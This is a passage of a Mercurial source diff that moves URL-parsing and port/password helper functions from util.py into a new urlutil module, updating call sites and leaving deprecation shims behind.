1336 revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
1337 revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
@@ -17,6 +17,9 b' from .. import ('
17 pycompat,
17 pycompat,
18 util,
18 util,
19 )
19 )
20 from ..utils import (
21 urlutil,
22 )
20
23
21
24
22 class multidict(object):
25 class multidict(object):
@@ -184,7 +187,7 b' def parserequestfromenv(env, reponame=No'
184 reponame = env.get(b'REPO_NAME')
187 reponame = env.get(b'REPO_NAME')
185
188
186 if altbaseurl:
189 if altbaseurl:
187 altbaseurl = util.url(altbaseurl)
190 altbaseurl = urlutil.url(altbaseurl)
188
191
189 # https://www.python.org/dev/peps/pep-0333/#environ-variables defines
192 # https://www.python.org/dev/peps/pep-0333/#environ-variables defines
190 # the environment variables.
193 # the environment variables.
@@ -28,6 +28,9 b' from .. import ('
28 pycompat,
28 pycompat,
29 util,
29 util,
30 )
30 )
31 from ..utils import (
32 urlutil,
33 )
31
34
32 httpservermod = util.httpserver
35 httpservermod = util.httpserver
33 socketserver = util.socketserver
36 socketserver = util.socketserver
@@ -431,7 +434,7 b' def create_server(ui, app):'
431 sys.setdefaultencoding(oldenc)
434 sys.setdefaultencoding(oldenc)
432
435
433 address = ui.config(b'web', b'address')
436 address = ui.config(b'web', b'address')
434 port = util.getport(ui.config(b'web', b'port'))
437 port = urlutil.getport(ui.config(b'web', b'port'))
435 try:
438 try:
436 return cls(ui, app, (address, port), handler)
439 return cls(ui, app, (address, port), handler)
437 except socket.error as inst:
440 except socket.error as inst:
@@ -18,6 +18,10 b' from . import ('
18 pycompat,
18 pycompat,
19 util,
19 util,
20 )
20 )
21 from .utils import (
22 urlutil,
23 )
24
21
25
22 urlerr = util.urlerr
26 urlerr = util.urlerr
23 urlreq = util.urlreq
27 urlreq = util.urlreq
@@ -99,7 +103,7 b' def readauthforuri(ui, uri, user):'
99 if not prefix:
103 if not prefix:
100 continue
104 continue
101
105
102 prefixurl = util.url(prefix)
106 prefixurl = urlutil.url(prefix)
103 if prefixurl.user and prefixurl.user != user:
107 if prefixurl.user and prefixurl.user != user:
104 # If a username was set in the prefix, it must match the username in
108 # If a username was set in the prefix, it must match the username in
105 # the URI.
109 # the URI.
@@ -38,6 +38,7 b' from .interfaces import ('
38 from .utils import (
38 from .utils import (
39 cborutil,
39 cborutil,
40 stringutil,
40 stringutil,
41 urlutil,
41 )
42 )
42
43
43 httplib = util.httplib
44 httplib = util.httplib
@@ -305,7 +306,7 b' def sendrequest(ui, opener, req):'
305 except httplib.HTTPException as inst:
306 except httplib.HTTPException as inst:
306 ui.debug(
307 ui.debug(
307 b'http error requesting %s\n'
308 b'http error requesting %s\n'
308 % util.hidepassword(req.get_full_url())
309 % urlutil.hidepassword(req.get_full_url())
309 )
310 )
310 ui.traceback()
311 ui.traceback()
311 raise IOError(None, inst)
312 raise IOError(None, inst)
@@ -352,14 +353,14 b' def parsev1commandresponse('
352 except AttributeError:
353 except AttributeError:
353 proto = pycompat.bytesurl(resp.headers.get('content-type', ''))
354 proto = pycompat.bytesurl(resp.headers.get('content-type', ''))
354
355
355 safeurl = util.hidepassword(baseurl)
356 safeurl = urlutil.hidepassword(baseurl)
356 if proto.startswith(b'application/hg-error'):
357 if proto.startswith(b'application/hg-error'):
357 raise error.OutOfBandError(resp.read())
358 raise error.OutOfBandError(resp.read())
358
359
359 # Pre 1.0 versions of Mercurial used text/plain and
360 # Pre 1.0 versions of Mercurial used text/plain and
360 # application/hg-changegroup. We don't support such old servers.
361 # application/hg-changegroup. We don't support such old servers.
361 if not proto.startswith(b'application/mercurial-'):
362 if not proto.startswith(b'application/mercurial-'):
362 ui.debug(b"requested URL: '%s'\n" % util.hidepassword(requrl))
363 ui.debug(b"requested URL: '%s'\n" % urlutil.hidepassword(requrl))
363 msg = _(
364 msg = _(
364 b"'%s' does not appear to be an hg repository:\n"
365 b"'%s' does not appear to be an hg repository:\n"
365 b"---%%<--- (%s)\n%s\n---%%<---\n"
366 b"---%%<--- (%s)\n%s\n---%%<---\n"
@@ -1058,7 +1059,7 b' def makepeer(ui, path, opener=None, requ'
1058 ``requestbuilder`` is the type used for constructing HTTP requests.
1059 ``requestbuilder`` is the type used for constructing HTTP requests.
1059 It exists as an argument so extensions can override the default.
1060 It exists as an argument so extensions can override the default.
1060 """
1061 """
1061 u = util.url(path)
1062 u = urlutil.url(path)
1062 if u.query or u.fragment:
1063 if u.query or u.fragment:
1063 raise error.Abort(
1064 raise error.Abort(
1064 _(b'unsupported URL component: "%s"') % (u.query or u.fragment)
1065 _(b'unsupported URL component: "%s"') % (u.query or u.fragment)
@@ -85,6 +85,7 b' from .utils import ('
85 hashutil,
85 hashutil,
86 procutil,
86 procutil,
87 stringutil,
87 stringutil,
88 urlutil,
88 )
89 )
89
90
90 from .revlogutils import (
91 from .revlogutils import (
@@ -3404,7 +3405,7 b' def undoname(fn):'
3404
3405
3405
3406
3406 def instance(ui, path, create, intents=None, createopts=None):
3407 def instance(ui, path, create, intents=None, createopts=None):
3407 localpath = util.urllocalpath(path)
3408 localpath = urlutil.urllocalpath(path)
3408 if create:
3409 if create:
3409 createrepository(ui, localpath, createopts=createopts)
3410 createrepository(ui, localpath, createopts=createopts)
3410
3411
@@ -15,6 +15,9 b' from . import ('
15 util,
15 util,
16 vfs as vfsmod,
16 vfs as vfsmod,
17 )
17 )
18 from .utils import (
19 urlutil,
20 )
18
21
19 # directory name in .hg/ in which remotenames files will be present
22 # directory name in .hg/ in which remotenames files will be present
20 remotenamedir = b'logexchange'
23 remotenamedir = b'logexchange'
@@ -117,7 +120,7 b' def activepath(repo, remote):'
117 # represent the remotepath with user defined path name if exists
120 # represent the remotepath with user defined path name if exists
118 for path, url in repo.ui.configitems(b'paths'):
121 for path, url in repo.ui.configitems(b'paths'):
119 # remove auth info from user defined url
122 # remove auth info from user defined url
120 noauthurl = util.removeauth(url)
123 noauthurl = urlutil.removeauth(url)
121
124
122 # Standardize on unix style paths, otherwise some {remotenames} end up
125 # Standardize on unix style paths, otherwise some {remotenames} end up
123 # being an absolute path on Windows.
126 # being an absolute path on Windows.
@@ -34,6 +34,7 b' from . import ('
34 from .utils import (
34 from .utils import (
35 procutil,
35 procutil,
36 stringutil,
36 stringutil,
37 urlutil,
37 )
38 )
38
39
39 if pycompat.TYPE_CHECKING:
40 if pycompat.TYPE_CHECKING:
@@ -139,7 +140,7 b' def _smtp(ui):'
139 defaultport = 465
140 defaultport = 465
140 else:
141 else:
141 defaultport = 25
142 defaultport = 25
142 mailport = util.getport(ui.config(b'smtp', b'port', defaultport))
143 mailport = urlutil.getport(ui.config(b'smtp', b'port', defaultport))
143 ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport))
144 ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport))
144 s.connect(host=mailhost, port=mailport)
145 s.connect(host=mailhost, port=mailport)
145 if starttls:
146 if starttls:
@@ -28,11 +28,11 b' from . import ('
28 pycompat,
28 pycompat,
29 requirements,
29 requirements,
30 scmutil,
30 scmutil,
31 util,
32 )
31 )
33 from .utils import (
32 from .utils import (
34 hashutil,
33 hashutil,
35 stringutil,
34 stringutil,
35 urlutil,
36 )
36 )
37
37
38
38
@@ -245,7 +245,7 b' def strip(ui, repo, nodelist, backup=Tru'
245 tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
245 tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
246 txnname = b'strip'
246 txnname = b'strip'
247 if not isinstance(gen, bundle2.unbundle20):
247 if not isinstance(gen, bundle2.unbundle20):
248 txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl)
248 txnname = b"strip\n%s" % urlutil.hidepassword(tmpbundleurl)
249 with repo.transaction(txnname) as tr:
249 with repo.transaction(txnname) as tr:
250 bundle2.applybundle(
250 bundle2.applybundle(
251 repo, gen, tr, source=b'strip', url=tmpbundleurl
251 repo, gen, tr, source=b'strip', url=tmpbundleurl
@@ -22,7 +22,10 b' from . import ('
22 util,
22 util,
23 )
23 )
24
24
25 from .utils import procutil
25 from .utils import (
26 procutil,
27 urlutil,
28 )
26
29
27
30
28 def runservice(
31 def runservice(
@@ -184,7 +187,7 b' def _createcmdservice(ui, repo, opts):'
184 def _createhgwebservice(ui, repo, opts):
187 def _createhgwebservice(ui, repo, opts):
185 # this way we can check if something was given in the command-line
188 # this way we can check if something was given in the command-line
186 if opts.get(b'port'):
189 if opts.get(b'port'):
187 opts[b'port'] = util.getport(opts.get(b'port'))
190 opts[b'port'] = urlutil.getport(opts.get(b'port'))
188
191
189 alluis = {ui}
192 alluis = {ui}
190 if repo:
193 if repo:
@@ -24,6 +24,7 b' from . import ('
24 from .utils import (
24 from .utils import (
25 procutil,
25 procutil,
26 stringutil,
26 stringutil,
27 urlutil,
27 )
28 )
28
29
29
30
@@ -662,11 +663,11 b' def instance(ui, path, create, intents=N'
662
663
663 The returned object conforms to the ``wireprotov1peer.wirepeer`` interface.
664 The returned object conforms to the ``wireprotov1peer.wirepeer`` interface.
664 """
665 """
665 u = util.url(path, parsequery=False, parsefragment=False)
666 u = urlutil.url(path, parsequery=False, parsefragment=False)
666 if u.scheme != b'ssh' or not u.host or u.path is None:
667 if u.scheme != b'ssh' or not u.host or u.path is None:
667 raise error.RepoError(_(b"couldn't parse location %s") % path)
668 raise error.RepoError(_(b"couldn't parse location %s") % path)
668
669
669 util.checksafessh(path)
670 urlutil.checksafessh(path)
670
671
671 if u.passwd is not None:
672 if u.passwd is not None:
672 raise error.RepoError(_(b'password in URL not supported'))
673 raise error.RepoError(_(b'password in URL not supported'))
@@ -26,6 +26,9 b' from . import ('
26 util,
26 util,
27 vfs as vfsmod,
27 vfs as vfsmod,
28 )
28 )
29 from .utils import (
30 urlutil,
31 )
29
32
30 urlerr = util.urlerr
33 urlerr = util.urlerr
31 urlreq = util.urlreq
34 urlreq = util.urlreq
@@ -162,7 +165,7 b' class statichttprepository('
162 self.ui = ui
165 self.ui = ui
163
166
164 self.root = path
167 self.root = path
165 u = util.url(path.rstrip(b'/') + b"/.hg")
168 u = urlutil.url(path.rstrip(b'/') + b"/.hg")
166 self.path, authinfo = u.authinfo()
169 self.path, authinfo = u.authinfo()
167
170
168 vfsclass = build_opener(ui, authinfo)
171 vfsclass = build_opener(ui, authinfo)
@@ -44,6 +44,7 b' from .utils import ('
44 dateutil,
44 dateutil,
45 hashutil,
45 hashutil,
46 procutil,
46 procutil,
47 urlutil,
47 )
48 )
48
49
49 hg = None
50 hg = None
@@ -57,8 +58,8 b' def _expandedabspath(path):'
57 """
58 """
58 get a path or url and if it is a path expand it and return an absolute path
59 get a path or url and if it is a path expand it and return an absolute path
59 """
60 """
60 expandedpath = util.urllocalpath(util.expandpath(path))
61 expandedpath = urlutil.urllocalpath(util.expandpath(path))
61 u = util.url(expandedpath)
62 u = urlutil.url(expandedpath)
62 if not u.scheme:
63 if not u.scheme:
63 path = util.normpath(os.path.abspath(u.path))
64 path = util.normpath(os.path.abspath(u.path))
64 return path
65 return path
@@ -745,7 +746,7 b' class hgsubrepo(abstractsubrepo):'
745
746
746 self.ui.status(
747 self.ui.status(
747 _(b'cloning subrepo %s from %s\n')
748 _(b'cloning subrepo %s from %s\n')
748 % (subrelpath(self), util.hidepassword(srcurl))
749 % (subrelpath(self), urlutil.hidepassword(srcurl))
749 )
750 )
750 peer = getpeer()
751 peer = getpeer()
751 try:
752 try:
@@ -765,7 +766,7 b' class hgsubrepo(abstractsubrepo):'
765 else:
766 else:
766 self.ui.status(
767 self.ui.status(
767 _(b'pulling subrepo %s from %s\n')
768 _(b'pulling subrepo %s from %s\n')
768 % (subrelpath(self), util.hidepassword(srcurl))
769 % (subrelpath(self), urlutil.hidepassword(srcurl))
769 )
770 )
770 cleansub = self.storeclean(srcurl)
771 cleansub = self.storeclean(srcurl)
771 peer = getpeer()
772 peer = getpeer()
@@ -849,12 +850,12 b' class hgsubrepo(abstractsubrepo):'
849 if self.storeclean(dsturl):
850 if self.storeclean(dsturl):
850 self.ui.status(
851 self.ui.status(
851 _(b'no changes made to subrepo %s since last push to %s\n')
852 _(b'no changes made to subrepo %s since last push to %s\n')
852 % (subrelpath(self), util.hidepassword(dsturl))
853 % (subrelpath(self), urlutil.hidepassword(dsturl))
853 )
854 )
854 return None
855 return None
855 self.ui.status(
856 self.ui.status(
856 _(b'pushing subrepo %s to %s\n')
857 _(b'pushing subrepo %s to %s\n')
857 % (subrelpath(self), util.hidepassword(dsturl))
858 % (subrelpath(self), urlutil.hidepassword(dsturl))
858 )
859 )
859 other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
860 other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
860 try:
861 try:
@@ -1284,7 +1285,7 b' class svnsubrepo(abstractsubrepo):'
1284 args.append(b'%s@%s' % (state[0], state[1]))
1285 args.append(b'%s@%s' % (state[0], state[1]))
1285
1286
1286 # SEC: check that the ssh url is safe
1287 # SEC: check that the ssh url is safe
1287 util.checksafessh(state[0])
1288 urlutil.checksafessh(state[0])
1288
1289
1289 status, err = self._svncommand(args, failok=True)
1290 status, err = self._svncommand(args, failok=True)
1290 _sanitize(self.ui, self.wvfs, b'.svn')
1291 _sanitize(self.ui, self.wvfs, b'.svn')
@@ -1582,7 +1583,7 b' class gitsubrepo(abstractsubrepo):'
1582 def _fetch(self, source, revision):
1583 def _fetch(self, source, revision):
1583 if self._gitmissing():
1584 if self._gitmissing():
1584 # SEC: check for safe ssh url
1585 # SEC: check for safe ssh url
1585 util.checksafessh(source)
1586 urlutil.checksafessh(source)
1586
1587
1587 source = self._abssource(source)
1588 source = self._abssource(source)
1588 self.ui.status(
1589 self.ui.status(
@@ -23,7 +23,10 b' from . import ('
23 pycompat,
23 pycompat,
24 util,
24 util,
25 )
25 )
26 from .utils import stringutil
26 from .utils import (
27 stringutil,
28 urlutil,
29 )
27
30
28 nullstate = (b'', b'', b'empty')
31 nullstate = (b'', b'', b'empty')
29
32
@@ -136,10 +139,10 b' def state(ctx, ui):'
136 kind = kind[1:]
139 kind = kind[1:]
137 src = src.lstrip() # strip any extra whitespace after ']'
140 src = src.lstrip() # strip any extra whitespace after ']'
138
141
139 if not util.url(src).isabs():
142 if not urlutil.url(src).isabs():
140 parent = _abssource(repo, abort=False)
143 parent = _abssource(repo, abort=False)
141 if parent:
144 if parent:
142 parent = util.url(parent)
145 parent = urlutil.url(parent)
143 parent.path = posixpath.join(parent.path or b'', src)
146 parent.path = posixpath.join(parent.path or b'', src)
144 parent.path = posixpath.normpath(parent.path)
147 parent.path = posixpath.normpath(parent.path)
145 joined = bytes(parent)
148 joined = bytes(parent)
@@ -400,13 +403,13 b' def _abssource(repo, push=False, abort=T'
400 """return pull/push path of repo - either based on parent repo .hgsub info
403 """return pull/push path of repo - either based on parent repo .hgsub info
401 or on the top repo config. Abort or return None if no source found."""
404 or on the top repo config. Abort or return None if no source found."""
402 if util.safehasattr(repo, b'_subparent'):
405 if util.safehasattr(repo, b'_subparent'):
403 source = util.url(repo._subsource)
406 source = urlutil.url(repo._subsource)
404 if source.isabs():
407 if source.isabs():
405 return bytes(source)
408 return bytes(source)
406 source.path = posixpath.normpath(source.path)
409 source.path = posixpath.normpath(source.path)
407 parent = _abssource(repo._subparent, push, abort=False)
410 parent = _abssource(repo._subparent, push, abort=False)
408 if parent:
411 if parent:
409 parent = util.url(util.pconvert(parent))
412 parent = urlutil.url(util.pconvert(parent))
410 parent.path = posixpath.join(parent.path or b'', source.path)
413 parent.path = posixpath.join(parent.path or b'', source.path)
411 parent.path = posixpath.normpath(parent.path)
414 parent.path = posixpath.normpath(parent.path)
412 return bytes(parent)
415 return bytes(parent)
@@ -435,7 +438,7 b' def _abssource(repo, push=False, abort=T'
435 #
438 #
436 # D:\>python -c "import os; print os.path.abspath('C:relative')"
439 # D:\>python -c "import os; print os.path.abspath('C:relative')"
437 # C:\some\path\relative
440 # C:\some\path\relative
438 if util.hasdriveletter(path):
441 if urlutil.hasdriveletter(path):
439 if len(path) == 2 or path[2:3] not in br'\/':
442 if len(path) == 2 or path[2:3] not in br'\/':
440 path = os.path.abspath(path)
443 path = os.path.abspath(path)
441 return path
444 return path
@@ -559,7 +559,7 b' class ui(object):'
559 )
559 )
560 p = p.replace(b'%%', b'%')
560 p = p.replace(b'%%', b'%')
561 p = util.expandpath(p)
561 p = util.expandpath(p)
562 if not util.hasscheme(p) and not os.path.isabs(p):
562 if not urlutil.hasscheme(p) and not os.path.isabs(p):
563 p = os.path.normpath(os.path.join(root, p))
563 p = os.path.normpath(os.path.join(root, p))
564 c.alter(b"paths", n, p)
564 c.alter(b"paths", n, p)
565
565
@@ -26,7 +26,10 b' from . import ('
26 urllibcompat,
26 urllibcompat,
27 util,
27 util,
28 )
28 )
29 from .utils import stringutil
29 from .utils import (
30 stringutil,
31 urlutil,
32 )
30
33
31 httplib = util.httplib
34 httplib = util.httplib
32 stringio = util.stringio
35 stringio = util.stringio
@@ -75,17 +78,17 b' class passwordmgr(object):'
75 user, passwd = auth.get(b'username'), auth.get(b'password')
78 user, passwd = auth.get(b'username'), auth.get(b'password')
76 self.ui.debug(b"using auth.%s.* for authentication\n" % group)
79 self.ui.debug(b"using auth.%s.* for authentication\n" % group)
77 if not user or not passwd:
80 if not user or not passwd:
78 u = util.url(pycompat.bytesurl(authuri))
81 u = urlutil.url(pycompat.bytesurl(authuri))
79 u.query = None
82 u.query = None
80 if not self.ui.interactive():
83 if not self.ui.interactive():
81 raise error.Abort(
84 raise error.Abort(
82 _(b'http authorization required for %s')
85 _(b'http authorization required for %s')
83 % util.hidepassword(bytes(u))
86 % urlutil.hidepassword(bytes(u))
84 )
87 )
85
88
86 self.ui.write(
89 self.ui.write(
87 _(b"http authorization required for %s\n")
90 _(b"http authorization required for %s\n")
88 % util.hidepassword(bytes(u))
91 % urlutil.hidepassword(bytes(u))
89 )
92 )
90 self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm))
93 self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm))
91 if user:
94 if user:
@@ -128,7 +131,7 b' class proxyhandler(urlreq.proxyhandler):'
128 proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:')
131 proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:')
129 ):
132 ):
130 proxyurl = b'http://' + proxyurl + b'/'
133 proxyurl = b'http://' + proxyurl + b'/'
131 proxy = util.url(proxyurl)
134 proxy = urlutil.url(proxyurl)
132 if not proxy.user:
135 if not proxy.user:
133 proxy.user = ui.config(b"http_proxy", b"user")
136 proxy.user = ui.config(b"http_proxy", b"user")
134 proxy.passwd = ui.config(b"http_proxy", b"passwd")
137 proxy.passwd = ui.config(b"http_proxy", b"passwd")
@@ -155,7 +158,9 b' class proxyhandler(urlreq.proxyhandler):'
155 # expects them to be.
158 # expects them to be.
156 proxyurl = str(proxy)
159 proxyurl = str(proxy)
157 proxies = {'http': proxyurl, 'https': proxyurl}
160 proxies = {'http': proxyurl, 'https': proxyurl}
158 ui.debug(b'proxying through %s\n' % util.hidepassword(bytes(proxy)))
161 ui.debug(
162 b'proxying through %s\n' % urlutil.hidepassword(bytes(proxy))
163 )
159 else:
164 else:
160 proxies = {}
165 proxies = {}
161
166
@@ -219,7 +224,7 b' def _generic_start_transaction(handler, '
219 new_tunnel = False
224 new_tunnel = False
220
225
221 if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy
226 if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy
222 u = util.url(pycompat.bytesurl(tunnel_host))
227 u = urlutil.url(pycompat.bytesurl(tunnel_host))
223 if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS
228 if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS
224 h.realhostport = b':'.join([u.host, (u.port or b'443')])
229 h.realhostport = b':'.join([u.host, (u.port or b'443')])
225 h.headers = req.headers.copy()
230 h.headers = req.headers.copy()
@@ -675,7 +680,7 b' def opener('
675
680
676
681
677 def open(ui, url_, data=None, sendaccept=True):
682 def open(ui, url_, data=None, sendaccept=True):
678 u = util.url(url_)
683 u = urlutil.url(url_)
679 if u.scheme:
684 if u.scheme:
680 u.scheme = u.scheme.lower()
685 u.scheme = u.scheme.lower()
681 url_, authinfo = u.authinfo()
686 url_, authinfo = u.authinfo()
@@ -28,7 +28,6 b' import os'
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
32 import stat
31 import stat
33 import sys
32 import sys
34 import time
33 import time
@@ -57,6 +56,7 b' from .utils import ('
57 hashutil,
56 hashutil,
58 procutil,
57 procutil,
59 stringutil,
58 stringutil,
59 urlutil,
60 )
60 )
61
61
62 if pycompat.TYPE_CHECKING:
62 if pycompat.TYPE_CHECKING:
@@ -65,7 +65,6 b' if pycompat.TYPE_CHECKING:'
65 List,
65 List,
66 Optional,
66 Optional,
67 Tuple,
67 Tuple,
68 Union,
69 )
68 )
70
69
71
70
@@ -2959,420 +2958,52 b' def interpolate(prefix, mapping, s, fn=N'
2959 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2958 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2960
2959
2961
2960
2962 def getport(port):
2961 def getport(*args, **kwargs):
2963 # type: (Union[bytes, int]) -> int
2962 msg = b'getport(...) moved to mercurial.utils.urlutil'
2964 """Return the port for a given network service.
2963 nouideprecwarn(msg, b'6.0', stacklevel=2)
2965
2964 return urlutil.getport(*args, **kwargs)
2966 If port is an integer, it's returned as is. If it's a string, it's
2965
2967 looked up using socket.getservbyname(). If there's no matching
2966
2968 service, error.Abort is raised.
2967 def url(*args, **kwargs):
2969 """
2968 msg = b'url(...) moved to mercurial.utils.urlutil'
2970 try:
2969 nouideprecwarn(msg, b'6.0', stacklevel=2)
2971 return int(port)
2970 return urlutil.url(*args, **kwargs)
2972 except ValueError:
2971
2973 pass
2972
2974
2973 def hasscheme(*args, **kwargs):
2975 try:
2974 msg = b'hasscheme(...) moved to mercurial.utils.urlutil'
2976 return socket.getservbyname(pycompat.sysstr(port))
2975 nouideprecwarn(msg, b'6.0', stacklevel=2)
2977 except socket.error:
2976 return urlutil.hasscheme(*args, **kwargs)
2978 raise error.Abort(
2977
2979 _(b"no port number associated with service '%s'") % port
2978
2980 )
2979 def hasdriveletter(*args, **kwargs):
2981
2980 msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil'
2982
2981 nouideprecwarn(msg, b'6.0', stacklevel=2)
2983 class url(object):
2982 return urlutil.hasdriveletter(*args, **kwargs)
2984 r"""Reliable URL parser.
2983
2985
2984
2986 This parses URLs and provides attributes for the following
2985 def urllocalpath(*args, **kwargs):
2987 components:
2986 msg = b'urllocalpath(...) moved to mercurial.utils.urlutil'
2988
2987 nouideprecwarn(msg, b'6.0', stacklevel=2)
2989 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2988 return urlutil.urllocalpath(*args, **kwargs)
2990
2989
2991 Missing components are set to None. The only exception is
2990
2992 fragment, which is set to '' if present but empty.
2991 def checksafessh(*args, **kwargs):
2993
2992 msg = b'checksafessh(...) moved to mercurial.utils.urlutil'
2994 If parsefragment is False, fragment is included in query. If
2993 nouideprecwarn(msg, b'6.0', stacklevel=2)
2995 parsequery is False, query is included in path. If both are
2994 return urlutil.checksafessh(*args, **kwargs)
2996 False, both fragment and query are included in path.
2995
2997
2996
2998 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2997 def hidepassword(*args, **kwargs):
2999
2998 msg = b'hidepassword(...) moved to mercurial.utils.urlutil'
3000 Note that for backward compatibility reasons, bundle URLs do not
2999 nouideprecwarn(msg, b'6.0', stacklevel=2)
3001 take host names. That means 'bundle://../' has a path of '../'.
3000 return urlutil.hidepassword(*args, **kwargs)
3002
3001
3003 Examples:
3002
3004
3003 def removeauth(*args, **kwargs):
3005 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
3004 msg = b'removeauth(...) moved to mercurial.utils.urlutil'
3006 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
3005 nouideprecwarn(msg, b'6.0', stacklevel=2)
3007 >>> url(b'ssh://[::1]:2200//home/joe/repo')
3006 return urlutil.removeauth(*args, **kwargs)
3008 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
3009 >>> url(b'file:///home/joe/repo')
3010 <url scheme: 'file', path: '/home/joe/repo'>
3011 >>> url(b'file:///c:/temp/foo/')
3012 <url scheme: 'file', path: 'c:/temp/foo/'>
3013 >>> url(b'bundle:foo')
3014 <url scheme: 'bundle', path: 'foo'>
3015 >>> url(b'bundle://../foo')
3016 <url scheme: 'bundle', path: '../foo'>
3017 >>> url(br'c:\foo\bar')
3018 <url path: 'c:\\foo\\bar'>
3019 >>> url(br'\\blah\blah\blah')
3020 <url path: '\\\\blah\\blah\\blah'>
3021 >>> url(br'\\blah\blah\blah#baz')
3022 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
3023 >>> url(br'file:///C:\users\me')
3024 <url scheme: 'file', path: 'C:\\users\\me'>
3025
3026 Authentication credentials:
3027
3028 >>> url(b'ssh://joe:xyz@x/repo')
3029 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3030 >>> url(b'ssh://joe@x/repo')
3031 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3032
3033 Query strings and fragments:
3034
3035 >>> url(b'http://host/a?b#c')
3036 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3037 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3038 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3039
3040 Empty path:
3041
3042 >>> url(b'')
3043 <url path: ''>
3044 >>> url(b'#a')
3045 <url path: '', fragment: 'a'>
3046 >>> url(b'http://host/')
3047 <url scheme: 'http', host: 'host', path: ''>
3048 >>> url(b'http://host/#a')
3049 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3050
3051 Only scheme:
3052
3053 >>> url(b'http:')
3054 <url scheme: 'http'>
3055 """
3056
3057 _safechars = b"!~*'()+"
3058 _safepchars = b"/!~*'()+:\\"
3059 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3060
3061 def __init__(self, path, parsequery=True, parsefragment=True):
3062 # type: (bytes, bool, bool) -> None
3063 # We slowly chomp away at path until we have only the path left
3064 self.scheme = self.user = self.passwd = self.host = None
3065 self.port = self.path = self.query = self.fragment = None
3066 self._localpath = True
3067 self._hostport = b''
3068 self._origpath = path
3069
3070 if parsefragment and b'#' in path:
3071 path, self.fragment = path.split(b'#', 1)
3072
3073 # special case for Windows drive letters and UNC paths
3074 if hasdriveletter(path) or path.startswith(b'\\\\'):
3075 self.path = path
3076 return
3077
3078 # For compatibility reasons, we can't handle bundle paths as
3079 # normal URLS
3080 if path.startswith(b'bundle:'):
3081 self.scheme = b'bundle'
3082 path = path[7:]
3083 if path.startswith(b'//'):
3084 path = path[2:]
3085 self.path = path
3086 return
3087
3088 if self._matchscheme(path):
3089 parts = path.split(b':', 1)
3090 if parts[0]:
3091 self.scheme, path = parts
3092 self._localpath = False
3093
3094 if not path:
3095 path = None
3096 if self._localpath:
3097 self.path = b''
3098 return
3099 else:
3100 if self._localpath:
3101 self.path = path
3102 return
3103
3104 if parsequery and b'?' in path:
3105 path, self.query = path.split(b'?', 1)
3106 if not path:
3107 path = None
3108 if not self.query:
3109 self.query = None
3110
3111 # // is required to specify a host/authority
3112 if path and path.startswith(b'//'):
3113 parts = path[2:].split(b'/', 1)
3114 if len(parts) > 1:
3115 self.host, path = parts
3116 else:
3117 self.host = parts[0]
3118 path = None
3119 if not self.host:
3120 self.host = None
3121 # path of file:///d is /d
3122 # path of file:///d:/ is d:/, not /d:/
3123 if path and not hasdriveletter(path):
3124 path = b'/' + path
3125
3126 if self.host and b'@' in self.host:
3127 self.user, self.host = self.host.rsplit(b'@', 1)
3128 if b':' in self.user:
3129 self.user, self.passwd = self.user.split(b':', 1)
3130 if not self.host:
3131 self.host = None
3132
3133 # Don't split on colons in IPv6 addresses without ports
3134 if (
3135 self.host
3136 and b':' in self.host
3137 and not (
3138 self.host.startswith(b'[') and self.host.endswith(b']')
3139 )
3140 ):
3141 self._hostport = self.host
3142 self.host, self.port = self.host.rsplit(b':', 1)
3143 if not self.host:
3144 self.host = None
3145
3146 if (
3147 self.host
3148 and self.scheme == b'file'
3149 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3150 ):
3151 raise error.Abort(
3152 _(b'file:// URLs can only refer to localhost')
3153 )
3154
3155 self.path = path
3156
3157 # leave the query string escaped
3158 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3159 v = getattr(self, a)
3160 if v is not None:
3161 setattr(self, a, urlreq.unquote(v))
3162
3163 def copy(self):
3164 u = url(b'temporary useless value')
3165 u.path = self.path
3166 u.scheme = self.scheme
3167 u.user = self.user
3168 u.passwd = self.passwd
3169 u.host = self.host
3170 u.path = self.path
3171 u.query = self.query
3172 u.fragment = self.fragment
3173 u._localpath = self._localpath
3174 u._hostport = self._hostport
3175 u._origpath = self._origpath
3176 return u
3177
3178 @encoding.strmethod
3179 def __repr__(self):
3180 attrs = []
3181 for a in (
3182 b'scheme',
3183 b'user',
3184 b'passwd',
3185 b'host',
3186 b'port',
3187 b'path',
3188 b'query',
3189 b'fragment',
3190 ):
3191 v = getattr(self, a)
3192 if v is not None:
3193 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3194 return b'<url %s>' % b', '.join(attrs)
3195
3196 def __bytes__(self):
